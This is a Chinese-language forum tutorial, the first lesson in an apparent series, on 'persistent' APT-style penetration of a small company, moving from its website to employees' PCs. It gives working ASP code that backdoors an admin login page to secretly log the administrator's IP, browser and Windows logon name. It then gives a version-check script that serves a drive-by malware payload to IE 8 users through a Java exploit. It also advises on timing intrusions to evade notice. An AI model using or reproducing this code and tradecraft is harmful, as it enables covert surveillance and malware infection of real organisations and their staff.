apt持续性综合渗透经验谈第一讲-从web到pc
apt持续性综合渗透经验谈第二讲-从web到pc
近年来,我们经常会看到海内外的一些大公司遭到APT攻击的报告,APT这个字眼越来越频繁的出现在大家的屏幕上,那么什么是APT攻击呢?
APT攻击又称持续性攻击,严格来讲,其实APT没有什么特定的形式,但是APT攻击却有一个共同的特征就是手法宽泛,综合性较强,而且持续时间长,往往是针对个人下手进而控制大范围的网络权限。
其实APT并没有什么特别神秘的地方,这就好比美国阿波罗11号登月飞船,美国的阿波罗11号飞船其实并没什么领先于其他国家的超级先进技术,但是他却综合了各个领域最尖端的科技成果,完美组合利用最终成功登月。APT渗透其实就是这样,往往进行APT渗透的团队他们并没有掌握比其他团队更先进的攻击手法, 或者0day之类的东西,但是讲各个方面的bug,exploit组合利用,加以长时间社工等信息交互,最终成功渗透大范围的网络。
APT持续性综合渗透经验谈第一讲 从Web到PC 1 踩点
本帖以某个中小型公司为例,讲述APT进行“踩点”的一个简单方式,本帖子中的踩点比较简单,但是却是迈开持续性渗透的第一步
目标公司具有一定规模,拥有自己的Web站点,也有自己公司的网络出口,公司网站使用的是虚拟主机,并且有自己的邮件服务器。
因为直接取邮件服务器的成功率非常低,成功率甚至低于1%,所以我们选择了对Web网站进行攻击。
获取Web服务器权限这一步,本帖子中就不再陈述,因为这并不属于我们要在本贴中认真探讨的话题,事实上,即使取不到Web服务器,我们仍然有其他的办法。
我们取到Web服务器的唯一价值就是,摸清这个公司的网络进出口,以及对网站的管理员进行持续性攻击
首先要从管理员那里获得信息,就要从管理入口下手
截图中已经显示了这个后台中的完整form表格,当default.asp文件对cmd变量取值为login时,后台程序将验证管理员密码的正确性。
那么我们再来看看default.asp的代码:
default.asp
...... if request("cmd")="login" then username=safe(request.form("username")) password=safe(request.form("password")) if trim(username)="" or trim(password)="" then showmsg "请填写登陆信息",2,"default.asp" end if set rs=server.createobject("adodb.recordset") sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1" rs.open sql,conn,1,1 if rs.eof or rs.bof then showmsg "用户名不存在",2,"default.asp" end if if md5(password)<>trim(rs("password")) then showmsg "密码错误",2,"default.asp" else session("userid")=rs("seq") session("user_role")=rs("user_role") session("islogin")=true session("sex")=rs("sex") session("netlogin")="82090704" session("passwd")=md5(password) session("username")=username session("truename")=rs("truename") showmsg "登陆成功!",2,"main.asp" end if ......
当变量cmd取值为login的时候,default都执行了什么代码,最后的else后面是登陆成功后系统执行的代码
这里正好是我们可以利用的代码,既然登陆成功的一定是管理员(这个前提当然是这个网站已经没有可以被小黑利用的漏洞的前提了)
既然要利用这里对管理员进行信息收集,那么可以插入一些简单的成型的代码:
...... if request("cmd")="login" then username=safe(request.form("username")) password=safe(request.form("password")) if trim(username)="" or trim(password)="" then showmsg "请填写登陆信息",2,"default.asp" end if set rs=server.createobject("adodb.recordset") sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1" rs.open sql,conn,1,1 if rs.eof or rs.bof then showmsg "用户名不存在",2,"default.asp" end if if md5(password)<>trim(rs("password")) then showmsg "密码错误",2,"default.asp" else '首先建立一个用于记录管理员信息的文件record.html rfile = "record.html" '这是记录管理员ip的代码 userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR") userhost = Request.ServerVariables("Remote_Host") '这里记录登陆者的浏览器和系统信息 uuser = Request.ServerVariables("HTTP_USER_AGENT") '这里是记录已经登陆的WinNT账户的,成功率低于1‰ userlogin = Request.ServerVariables("LOGON_USER") '最后对数据进行格式化整理和写入文件 data = "<pre>" & vbcrlf & "User Host: " & userhost & "<br />" & vbcrlf & "User IP: " & userip & "<br />" & vbcrlf & "User Agent: " & uuser & "<br />" & vbcrlf & "System Login Name: " & userlogin & "<br />" & vbcrlf & "Time: " & now & "<br />" & vbcrlf & "</pre>" & vbcrlf & "<hr><br />" & vbcrlf Set Fs=Server.CreateObject("Scripting.FileSystemObject") Set File=Fs.OpenTextFile(Server.MapPath(rfile),8,Flase) File.Writeline data File.Close '记录结束 session("userid")=rs("seq") session("user_role")=rs("user_role") session("islogin")=true session("sex")=rs("sex") session("netlogin")="82090704" session("passwd")=md5(password) session("username")=username session("truename")=rs("truename") showmsg "登陆成功!",2,"main.asp" end if ......
正常情况下,一个公司都是周一至周五办公,因此这段记录代码我们是从周一上班之前插入,通常是周末将这段代码插入到目标公司的后台,并且要在周日晚之前调试完成。
这里之所以要注意时间,因为目标公司不一定是在中国本土,可能在日韩,或者北美,欧洲,他们的时区要注意。
另外也插代码插失败的时候,管理员如果刚好在线,就会很悲剧,给渗透的后半段造成的严重阻碍。无巧不成书的,调试代码错误的时候管理员刚巧在线的情况又不是没有过,所以一定要注意。
对于这个信息采集,并不是一次性完成的,我们需要对管理员的登陆频率,登陆地点以及使用的系统环境如何,都有一定的掌握。
这个采集首先进行一个完整的礼拜,这个礼拜只进行记录和统计,不进行下一步动作。来看一下统计的结果:
一个礼拜下来,我们发现每天管理员都登陆网站后台一次,共记录到了5次
时间 | 系统 | 浏览器 | 其他 |
---|---|---|---|
周一 | Windows XP | Safari浏览器 | - |
周二 | Windows XP | IE 8 | - |
周三 | Windows XP | IE 6 | .NET 2.0 & .NET 4.0 |
周四 | Windows XP | IE 8 | - |
周五 | Windows XP | IE 6 | - |
这里的ip是同一个ip,所以就可以确认这个ip肯定是目标公司的出入口。
其次,我们看到至少有4台不同的机器登陆后台,逐一分析:
周一的机器我们猜测可能是管理员的PC,笔记本之类的,可能是周末带回家做了什么东西,周一带回来使用并登陆了后台,这台机器估计安全性应该较高
周二和周四的机器可能是同一台机器,IE8可以利用近期的Java漏洞挂马
周三的机器是IE6,装了.NET FrameWork,有理由怀疑是有某个公司内部使用的程序,例如人事管理系统,财务管理系统
选择下手的机器也是要深思熟虑的。
如果直接对周三的机器下手,用.NET的安全问题挂马,可能会成功,但是这台机器登陆的频率可能不会很多,而且如果不巧是其他机器登陆的,那么挂马不但失败,而且还会被发现
虽然挂马是可以根据浏览器版本等信息进行筛选,可是周五的机器也是IE 6,总之直接对周三的机器下手,至少要等到拿到一台目标公司的机器以后才能进行。
在这里最终决定使用近期出现的java漏洞,对周二和周四的IE 8进行攻击。
这样的话就构造挂马脚本:
'这里的uuser变量是前面取到的浏览器信息 user_agent Agent=Split(uuser,";") If InStr(Agent(1),"MSIE")>0 Then version=Trim(Left(Replace(Agent(1),"MSIE",""),6)) If InStr(version,")") > 0 Then tmpstr=Split(version,")") version=tmpstr(0) End If End If '上面对浏览器版本判断和取值完毕以后,针对不同版本进行攻击 if version="8.0" then response.Write("挂马代码") end if
这里的挂马也是要经过调试的,调试的时间和信息收集一样,仍然是在周末中进行,要在周日晚之前调试成功并且结束。剩下的就是坐等管理员上线了。
至于网马代码从哪里搞,就要关注各个安全发布平台了,习科有专门的免杀远控,甚至还有成熟的dll劫持远控,就不详细阐述了,毕竟习科是个技术平台而不是个木马传播平台。